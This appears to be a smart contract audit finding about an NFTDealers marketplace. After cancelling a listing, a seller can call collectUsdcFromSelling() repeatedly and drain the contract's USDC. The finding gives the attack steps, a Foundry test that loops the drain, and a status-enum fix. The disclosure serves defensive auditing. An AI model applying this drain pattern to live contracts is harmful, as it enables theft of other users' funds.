Seller can steal other users' USDC by calling collectUsdcFromSelling() after cancelling a listing
Description
`NFTDealers::collectUsdcFromSelling()` only check `!listing.isActive` for validate eligibility seller for colelcting their money. Because `NFTDealers::cancelListing()` also set `isActive` = `false`, seller can call `collectUsdcFromSelling()` after cancel listing even there is no buyer. Because of this seller can steal `listing.price`, USDC from other people that behalf on contract.
`NFTDealers::buy()` and `NFTDealers::cancelListing()` both only set `isActive` = `false` without different state, therefor `collectUsdcFromSelling()` cant spot a different wether listing is truly sold, or just canceled listing.
function buy(uint256 _listingId) external payable {
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
s_listings[_listingId].isActive = false;
}
function cancelListing(uint256 _listingId) external {
s_listings[_listingId].isActive = false;
collateralForMinting[listing.tokenId] = 0;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
- Seller can steal `listing.price - fees` from contract without any settlement from buyer
- USDC that stealed is on behalf of other legitimate seller/buyer (from legitimate `buy()`)
- More higher `listing.price` that attacker set, more high can be stolen USDC per call
- USDC contract can be drained
Proof of Concept
1. Attacker mints NFT, paying 20 USDC collateral
2. Calls `list(tokenId, 1000e6)`
3. Calls `cancelListing()` -> `isActive` set to `false`
4. Calls `collectUsdcFromSelling()` -> receives `1000e6 +20e6` from contract balance
5. Calls `collectUsdcFromSelling()` again -> `collateralForMinting` still not reset, drains another `20e6`
6. Repeat step 5 until contract is empty
function test_drainingUSDCContractWith_collectUsdcFromSelling() public whitelisted richWhitelisted revealed {
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
uint256 tokenId = 1;
nftDealers.list(tokenId, 100e6);
nftDealers.cancelListing(tokenId);
(address seller, uint32 price,, uint256 _tokenId, bool isActive) = nftDealers.s_listings(tokenId);
assertEq(seller, userWithCash);
assertEq(price, 100e6);
assertEq(_tokenId, tokenId);
assertEq(isActive, false);
usdc.mint(address(nftDealers), 20e6 * 100);
uint256 initialContractUSDC = usdc.balanceOf(address(nftDealers));
uint256 initialUserUSDC = usdc.balanceOf(userWithCash);
console.log("Initial Contract USDC balance: ", initialContractUSDC / 1e6);
console.log("Initial User USDC balance: ", initialUserUSDC / 1e6);
for (uint256 i; i < 20; i++) {
console.log("Attempt: ", i);
nftDealers.collectUsdcFromSelling(tokenId);
}
uint256 afterContractUSDC = usdc.balanceOf(address(nftDealers));
uint256 afterUserUSDC = usdc.balanceOf(userWithCash);
console.log("after Contract USDC balance: ", afterContractUSDC / 1e6);
console.log("after User USDC balance: ", afterUserUSDC / 1e6);
assertGt(afterUserUSDC, 20e6);
}
Recommended Mitigation
Introduce a dedicated `ListingStatus` enum to differentiate between active, sold, and cancelled states. Also reset `collateralForMinting` after collection:
+ enum ListingStatus { Active, Sold, Cancelled }
struct Listing {
address seller;
uint32 price;
uint256 tokenId;
- bool isActive;
+ ListingStatus status; // replace bool isActive
}
// buy()
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.Sold;
// cancelListing()
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.Cancelled;
// collectUsdcFromSelling()
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.status == ListingStatus.Sold, "NFT must be sold to collect USDC");
